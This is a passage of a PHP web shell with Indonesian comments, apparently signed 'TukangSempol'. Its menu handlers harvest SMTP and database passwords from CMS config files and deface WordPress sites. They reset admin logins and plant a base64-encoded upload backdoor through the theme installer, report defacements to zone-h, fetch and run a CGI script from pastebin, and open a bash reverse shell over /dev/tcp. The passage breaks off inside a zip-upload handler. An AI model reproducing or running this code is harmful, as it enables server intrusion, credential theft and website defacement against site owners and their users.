  1307.         <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  1308.     }
  1309. } elseif($_GET['do'] == 'smtp') {
  1310.     echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
  1311.     function scj($dir) {
  1312.         $dira = scandir($dir);
  1313.         foreach($dira as $dirb) {
  1314.             if(!is_file("$dir/$dirb")) continue;
  1315.             $ambil = file_get_contents("$dir/$dirb");
  1316.             $ambil = str_replace("$", "", $ambil);
  1317.             if(preg_match("/JConfig|joomla/", $ambil)) {
  1318.                 $smtp_host = ambilkata($ambil,"smtphost = '","'");
  1319.                 $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
  1320.                 $smtp_user = ambilkata($ambil,"smtpuser = '","'");
  1321.                 $smtp_pass = ambilkata($ambil,"smtppass = '","'");
  1322.                 $smtp_port = ambilkata($ambil,"smtpport = '","'");
  1323.                 $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
  1324.                 echo "SMTP Host: <font color=cyan>$smtp_host</font><br>";
  1325.                 echo "SMTP port: <font color=cyan>$smtp_port</font><br>";
  1326.                 echo "SMTP user: <font color=cyan>$smtp_user</font><br>";
  1327.                 echo "SMTP pass: <font color=cyan>$smtp_pass</font><br>";
  1328.                 echo "SMTP auth: <font color=cyan>$smtp_auth</font><br>";
  1329.                 echo "SMTP secure: <font color=cyan>$smtp_secure</font><br><br>";
  1330.             }
  1331.         }
  1332.     }
  1333.     $smpt_hunter = scj($dir);
  1334.     echo $smpt_hunter;
  1335. } elseif($_GET['do'] == 'auto_wp') {
  1336.     if($_POST['hajar']) {
  1337.         $title = htmlspecialchars($_POST['new_title']);
  1338.         $pn_title = str_replace(" ", "-", $title);
  1339.         if($_POST['cek_edit'] == "Y") {
  1340.             $script = $_POST['edit_content'];
  1341.         } else {
  1342.             $script = $title;
  1343.         }
  1344.         $conf = $_POST['config_dir'];
  1345.         $scan_conf = scandir($conf);
  1346.         foreach($scan_conf as $file_conf) {
  1347.             if(!is_file("$conf/$file_conf")) continue;
  1348.             $config = file_get_contents("$conf/$file_conf");
  1349.             if(preg_match("/WordPress/", $config)) {
  1350.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  1351.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  1352.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1353.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  1354.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1355.                 $prefix = $dbprefix."posts";
  1356.                 $option = $dbprefix."options";
  1357.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1358.                 $db = mysql_select_db($dbname);
  1359.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  1360.                 $result = mysql_fetch_array($q);
  1361.                 $id = $result[ID];
  1362.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1363.                 $result2 = mysql_fetch_array($q2);
  1364.                 $target = $result2[option_value];
  1365.                 $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  1366.                 $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  1367.                 echo "<div style='margin: 5px auto;'>";
  1368.                 if($target == '') {
  1369.                     echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
  1370.                 } else {
  1371.                     echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
  1372.                 }
  1373.                 if(!$update OR !$conn OR !$db) {
  1374.                     echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
  1375.                 } else {
  1376.                     echo "<font color=cyan>sukses di ganti.</font><br>";
  1377.                 }
  1378.                 echo "</div>";
  1379.                 mysql_close($conn);
  1380.             }
  1381.         }
  1382.     } else {
  1383.         echo "<center>
  1384.         <h1>Auto Edit Title+Content WordPress</h1>
  1385.         <form method='post'>
  1386.         DIR Config: <br>
  1387.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1388.         Set Title: <br>
  1389.         <input type='text' name='new_title' value='Hacked by TukangSempol' placeholder='New Title'><br><br>
  1390.         Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
  1391.         <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
  1392.         <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
  1393.         <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
  1394.         </form>
  1395.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1396.         ";
  1397.     }
  1398. } elseif($_GET['do'] == 'zoneh') {
  1399.     if($_POST['submit']) {
  1400.         $domain = explode("\r\n", $_POST['url']);
  1401.         $nick =  $_POST['nick'];
  1402.         echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  1403.         echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  1404.         function zoneh($url,$nick) {
  1405.             $ch = curl_init("http://www.zone-h.com/notify/single");
  1406.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1407.                   curl_setopt($ch, CURLOPT_POST, true);
  1408.                   curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  1409.             return curl_exec($ch);
  1410.                   curl_close($ch);
  1411.         }
  1412.         foreach($domain as $url) {
  1413.             $zoneh = zoneh($url,$nick);
  1414.             if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  1415.                 echo "$url -> <font color=cyan>OK</font><br>";
  1416.             } else {
  1417.                 echo "$url -> <font color=red>ERROR</font><br>";
  1418.             }
  1419.         }
  1420.     } else {
  1421.         echo "<center><form method='post'>
  1422.         <u>Defacer</u>: <br>
  1423.         <input type='text' name='nick' size='50' value='TukangSempol<'><br>
  1424.         <u>Domains</u>: <br>
  1425.         <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  1426.         <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  1427.         </form>";
  1428.     }
  1429.     echo "</center>";
  1430. } elseif($_GET['do'] == 'cgi') {
  1431.     $cgi_dir = mkdir('idx_cgi', 0755);
  1432.     $file_cgi = "idx_cgi/cgi.izo";
  1433.     $isi_htcgi = "AddHandler cgi-script .izo";
  1434.     $htcgi = fopen(".htaccess", "w");
  1435.     $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
  1436.     $cgi = fopen($file_cgi, "w");
  1437.     fwrite($cgi, $cgi_script);
  1438.     fwrite($htcgi, $isi_htcgi);
  1439.     chmod($file_cgi, 0755);
  1440.     echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
  1441. } elseif($_GET['do'] == 'fake_root') {
  1442.     ob_start();
  1443.     function reverse($url) {
  1444.         $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  1445.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1446.               curl_setopt($ch, CURLOPT_POSTFIELDS,  "remoteAddress=$url&ket=");
  1447.               curl_setopt($ch, CURLOPT_HEADER, 0);
  1448.               curl_setopt($ch, CURLOPT_POST, 1);
  1449.         $resp = curl_exec($ch);
  1450.         $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",",  str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  1451.         $array = explode(",,", $resp);
  1452.         unset($array[0]);
  1453.         foreach($array as $lnk) {
  1454.             $lnk = "http://$lnk";
  1455.             $lnk = str_replace(",", "", $lnk);
  1456.             echo $lnk."\n";
  1457.             ob_flush();
  1458.             flush();
  1459.         }
  1460.               curl_close($ch);
  1461.     }
  1462.     function cek($url) {
  1463.         $ch = curl_init($url);
  1464.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1465.               curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  1466.         $resp = curl_exec($ch);
  1467.         return $resp;
  1468.     }
  1469.     $cwd = getcwd();
  1470.     $ambil_user = explode("/", $cwd);
  1471.     $user = $ambil_user[2];
  1472.     if($_POST['reverse']) {
  1473.         $site = explode("\r\n", $_POST['url']);
  1474.         $file = $_POST['file'];
  1475.         foreach($site as $url) {
  1476.             $cek = cek("$url/~$user/$file");
  1477.             if(preg_match("/hacked/i", $cek)) {
  1478.                 echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=cyan>Fake Root!</font><br>";
  1479.             }
  1480.         }
  1481.     } else {
  1482.         echo "<center><form method='post'>
  1483.         Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
  1484.         User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  1485.         Domain: <br>
  1486.         <textarea style='width: 450px; height: 250px;' name='url'>";
  1487.         reverse($_SERVER['HTTP_HOST']);
  1488.         echo "</textarea><br>
  1489.         <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
  1490.         </form><br>
  1491.         NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  1492.     }
  1493. } elseif($_GET['do'] == 'adminer') {
  1494.     $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1495.     function adminer($url, $isi) {
  1496.         $fp = fopen($isi, "w");
  1497.         $ch = curl_init();
  1498.               curl_setopt($ch, CURLOPT_URL, $url);
  1499.               curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  1500.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1501.               curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  1502.               curl_setopt($ch, CURLOPT_FILE, $fp);
  1503.         return curl_exec($ch);
  1504.               curl_close($ch);
  1505.         fclose($fp);
  1506.         ob_flush();
  1507.         flush();
  1508.     }
  1509.     if(file_exists('adminer.php')) {
  1510.         echo "<center><font color=cyan><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1511.     } else {
  1512.         if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
  1513.             echo "<center><font color=cyan><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1514.         } else {
  1515.             echo "<center><font color=red>gagal buat file adminer</font></center>";
  1516.         }
  1517.     }
  1518. } elseif($_GET['do'] == 'auto_dwp') {
  1519.     if($_POST['auto_deface_wp']) {
  1520.         function anucurl($sites) {
  1521.             $ch = curl_init($sites);
  1522.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1523.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1524.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1525.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  1526.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1527.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1528.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1529.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1530.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1531.             $data = curl_exec($ch);
  1532.                   curl_close($ch);
  1533.             return $data;
  1534.         }
  1535.         function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  1536.             $post = array(
  1537.                    "log" => "$userr",
  1538.                    "pwd" => "$pass",
  1539.                    "rememberme" => "forever",
  1540.                    "wp-submit" => "$wp_submit",
  1541.                    "redirect_to" => "$web",
  1542.                    "testcookie" => "1",
  1543.                    );
  1544.             $ch = curl_init($cek);
  1545.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1546.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1547.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1548.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1549.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1550.                   curl_setopt($ch, CURLOPT_POST, 1);
  1551.                   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  1552.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1553.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1554.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1555.             $data = curl_exec($ch);
  1556.                   curl_close($ch);
  1557.             return $data;
  1558.         }
  1559.         $scan = $_POST['link_config'];
  1560.         $link_config = scandir($scan);
  1561.         $script = htmlspecialchars($_POST['script']);
  1562.         $user = "tukangsempol";
  1563.         $pass = "tukangsempol";
  1564.         $passx = md5($pass);
  1565.         foreach($link_config as $dir_config) {
  1566.             if(!is_file("$scan/$dir_config")) continue;
  1567.             $config = file_get_contents("$scan/$dir_config");
  1568.             if(preg_match("/WordPress/", $config)) {
  1569.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  1570.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  1571.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1572.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  1573.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1574.                 $prefix = $dbprefix."users";
  1575.                 $option = $dbprefix."options";
  1576.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1577.                 $db = mysql_select_db($dbname);
  1578.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1579.                 $result = mysql_fetch_array($q);
  1580.                 $id = $result[ID];
  1581.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1582.                 $result2 = mysql_fetch_array($q2);
  1583.                 $target = $result2[option_value];
  1584.                 if($target == '') {                
  1585.                     echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1586.                 } else {
  1587.                     echo "[+] $target <br>";
  1588.                 }
  1589.                 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  1590.                 if(!$conn OR !$db OR !$update) {
  1591.                     echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  1592.                     mysql_close($conn);
  1593.                 } else {
  1594.                     $site = "$target/wp-login.php";
  1595.                     $site2 = "$target/wp-admin/theme-install.php?upload";
  1596.                     $b1 = anucurl($site2);
  1597.                     $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  1598.                     $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  1599.                     $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  1600.                     $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  1601.                     $www = "m.php";
  1602.                     $fp5 = fopen($www,"w");
  1603.                     fputs($fp5,$upload3);
  1604.                     $post2 = array(
  1605.                             "_wpnonce" => "$anu2",
  1606.                             "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  1607.                             "themezip" => "@$www",
  1608.                             "install-theme-submit" => "Install Now",
  1609.                             );
  1610.                     $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  1611.                           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1612.                           curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1613.                           curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1614.                           curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1615.                           curl_setopt($ch, CURLOPT_POST, 1);
  1616.                           curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  1617.                           curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1618.                           curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1619.                           curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1620.                     $data3 = curl_exec($ch);
  1621.                           curl_close($ch);
  1622.                     $y = date("Y");
  1623.                     $m = date("m");
  1624.                     $namafile = "id.php";
  1625.                     $fpi = fopen($namafile,"w");
  1626.                     fputs($fpi,$script);
  1627.                     $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  1628.                            curl_setopt($ch6, CURLOPT_POST, true);
  1629.                            curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  1630.                            curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  1631.                            curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  1632.                            curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  1633.                            curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
  1634.                     $postResult = curl_exec($ch6);
  1635.                            curl_close($ch6);
  1636.                     $as = "$target/k.php";
  1637.                     $bs = anucurl($as);
  1638.                     if(preg_match("#$script#is", $bs)) {
  1639.                         echo "[+] <font color='cyan'>berhasil mepes...</font><br>";
  1640.                         echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  1641.                         } else {
  1642.                         echo "[-] <font color='red'>gagal mepes...</font><br>";
  1643.                         echo "[!!] coba aja manual: <br>";
  1644.                         echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  1645.                         echo "[+] username: <font color=cyan>$user</font><br>";
  1646.                         echo "[+] password: <font color=cyan>$pass</font><br><br>";    
  1647.                         }
  1648.                     mysql_close($conn);
  1649.                 }
  1650.             }
  1651.         }
  1652.     } else {
  1653.         echo "<center><h1>WordPress Auto Deface</h1>
  1654.         <form method='post'>
  1655.         <input type='text' name='link_config' size='50' height='10' value='$dir'><br>
  1656.         <input type='text' name='script' height='10' size='50' placeholder='Hacked by tukangsempol<' required><br>
  1657.         <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  1658.         </form>
  1659.         <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
  1660.         </center>";
  1661.     }
  1662. } elseif($_GET['do'] == 'auto_dwp2') {
  1663.     if($_POST['auto_deface_wp']) {
  1664.         function anucurl($sites) {
  1665.             $ch = curl_init($sites);
  1666.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1667.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1668.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1669.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  1670.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1671.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1672.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1673.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1674.                   curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  1675.             $data = curl_exec($ch);
  1676.                   curl_close($ch);
  1677.             return $data;
  1678.         }
  1679.         function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  1680.             $post = array(
  1681.                    "log" => "$userr",
  1682.                    "pwd" => "$pass",
  1683.                    "rememberme" => "forever",
  1684.                    "wp-submit" => "$wp_submit",
  1685.                    "redirect_to" => "$web",
  1686.                    "testcookie" => "1",
  1687.                    );
  1688.             $ch = curl_init($cek);
  1689.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1690.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1691.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1692.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1693.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1694.                   curl_setopt($ch, CURLOPT_POST, 1);
  1695.                   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  1696.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1697.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1698.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1699.             $data = curl_exec($ch);
  1700.                   curl_close($ch);
  1701.             return $data;
  1702.         }
  1703.         $link = explode("\r\n", $_POST['link']);
  1704.         $script = htmlspecialchars($_POST['script']);
  1705.         $user = "tukangsempol";
  1706.         $pass = "tukangsempol";
  1707.         $passx = md5($pass);
  1708.         foreach($link as $dir_config) {
  1709.             $config = anucurl($dir_config);
  1710.             $dbhost = ambilkata($config,"DB_HOST', '","'");
  1711.             $dbuser = ambilkata($config,"DB_USER', '","'");
  1712.             $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1713.             $dbname = ambilkata($config,"DB_NAME', '","'");
  1714.             $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1715.             $prefix = $dbprefix."users";
  1716.             $option = $dbprefix."options";
  1717.             $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1718.             $db = mysql_select_db($dbname);
  1719.             $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1720.             $result = mysql_fetch_array($q);
  1721.             $id = $result[ID];
  1722.             $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1723.             $result2 = mysql_fetch_array($q2);
  1724.             $target = $result2[option_value];
  1725.             if($target == '') {                
  1726.                 echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1727.             } else {
  1728.                 echo "[+] $target <br>";
  1729.             }
  1730.             $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  1731.             if(!$conn OR !$db OR !$update) {
  1732.                 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  1733.                 mysql_close($conn);
  1734.             } else {
  1735.                 $site = "$target/wp-login.php";
  1736.                 $site2 = "$target/wp-admin/theme-install.php?upload";
  1737.                 $b1 = anucurl($site2);
  1738.                 $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  1739.                 $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  1740.                 $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  1741.                 $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  1742.                 $www = "m.php";
  1743.                 $fp5 = fopen($www,"w");
  1744.                 fputs($fp5,$upload3);
  1745.                 $post2 = array(
  1746.                         "_wpnonce" => "$anu2",
  1747.                         "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  1748.                         "themezip" => "@$www",
  1749.                         "install-theme-submit" => "Install Now",
  1750.                         );
  1751.                 $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  1752.                       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1753.                       curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1754.                       curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1755.                       curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1756.                       curl_setopt($ch, CURLOPT_POST, 1);
  1757.                       curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  1758.                       curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1759.                       curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1760.                       curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1761.                 $data3 = curl_exec($ch);
  1762.                       curl_close($ch);
  1763.                 $y = date("Y");
  1764.                 $m = date("m");
  1765.                 $namafile = "id.php";
  1766.                 $fpi = fopen($namafile,"w");
  1767.                 fputs($fpi,$script);
  1768.                 $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  1769.                        curl_setopt($ch6, CURLOPT_POST, true);
  1770.                        curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  1771.                        curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  1772.                        curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  1773.                        curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  1774.                        curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
  1775.                 $postResult = curl_exec($ch6);
  1776.                        curl_close($ch6);
  1777.                 $as = "$target/k.php";
  1778.                 $bs = anucurl($as);
  1779.                 if(preg_match("#$script#is", $bs)) {
  1780.                     echo "[+] <font color='cyan'>berhasil mepes...</font><br>";
  1781.                     echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  1782.                     } else {
  1783.                     echo "[-] <font color='red'>gagal mepes...</font><br>";
  1784.                     echo "[!!] coba aja manual: <br>";
  1785.                     echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  1786.                     echo "[+] username: <font color=cyan>$user</font><br>";
  1787.                     echo "[+] password: <font color=cyan>$pass</font><br><br>";    
  1788.                     }
  1789.                 mysql_close($conn);
  1790.             }
  1791.         }
  1792.     } else {
  1793.         echo "<center><h1>WordPress Auto Deface V.2</h1>
  1794.         <form method='post'>
  1795.         Link Config: <br>
  1796.         <textarea name='link' placeholder='http://target.com/ncuk_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
  1797.         <input type='text' name='script' height='10' size='50' placeholder='Hacked by tukangsempol<' required><br>
  1798.         <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  1799.         </form></center>";
  1800.     }
  1801. } elseif($_GET['do'] == 'network') {
  1802.     echo "<center><form method='post'>
  1803.     Back Connect: <br>
  1804.     <input type='text' placeholder='ip' name='ip_bc' value='".$_SERVER['REMOTE_ADDR']."'><br>
  1805.     <input type='text' placeholder='port' name='port_bc' value='6969'><br>
  1806.     <input type='submit' name='sub_bc' value='Reverse' style='width: 210px;'>
  1807.     </form>";
  1808.     if(isset($_POST['sub_bc'])) {
  1809.         $ip = $_POST['ip_bc'];
  1810.         $port = $_POST['port_bc'];
  1811.         exe("/bin/bash -i >& /dev/tcp/$ip/$port 0>&1");
  1812.     }
  1813.     echo "</center>";
  1814. }elseif($_GET['do'] == 'zip') {
  1815.     echo "<center><h1>Zip Menu</h1>";
  1816. function rmdir_recursive($dir) {
  1817.     foreach(scandir($dir) as $file) {
  1818.        if ('.' === $file || '..' === $file) continue;
  1819.        if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
  1820.        else unlink("$dir/$file");
  1821.    }
  1822.    rmdir($dir);
  1823. }
  1824. if($_FILES["zip_file"]["name"]) {
  1825.     $filename = $_FILES["zip_file"]["name"];
  1826.     $source = $_FILES["zip_file"]["tmp_name"];
  1827.     $type = $_FILES["zip_file"]["type"];
  1828.     $name = explode(".", $filename);
  1829.     $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
  1830.     foreach($accepted_types as $mime_type) {
  1831.         if($mime_type == $type) {
  1832.             $okay = true;
  1833.             break;
  1834.         }
  1835.     }
  1836.     $continue = strtolower($name[1]) == 'zip' ? true : false;
  1837.     if(!$continue) {
  1838.         $message = "Itu Bukan Zip  , , GOBLOK COK";
  1839.     }
  1840.   $path = dirname(__FILE__).'/';
  1841.   $filenoext = basename ($filename, '.zip');
  1842.   $filenoext = basename ($filenoext, '.ZIP');
  1843.   $targetdir = $path . $filenoext;
  1844.   $targetzip = $path . $filename;
  1845.   if (is_dir($targetdir))  rmdir_recursive ( $targetdir);
  1846.   mkdir($targetdir, 0777);
  1847.     if(move_uploaded_file($source, $targetzip)) {
  1848.         $zip = new ZipArchive();
  1849.         $x = $zip->open($targetzip);
  1850.         if ($x === true) {
  1851.             $zip->extractTo($targetdir);
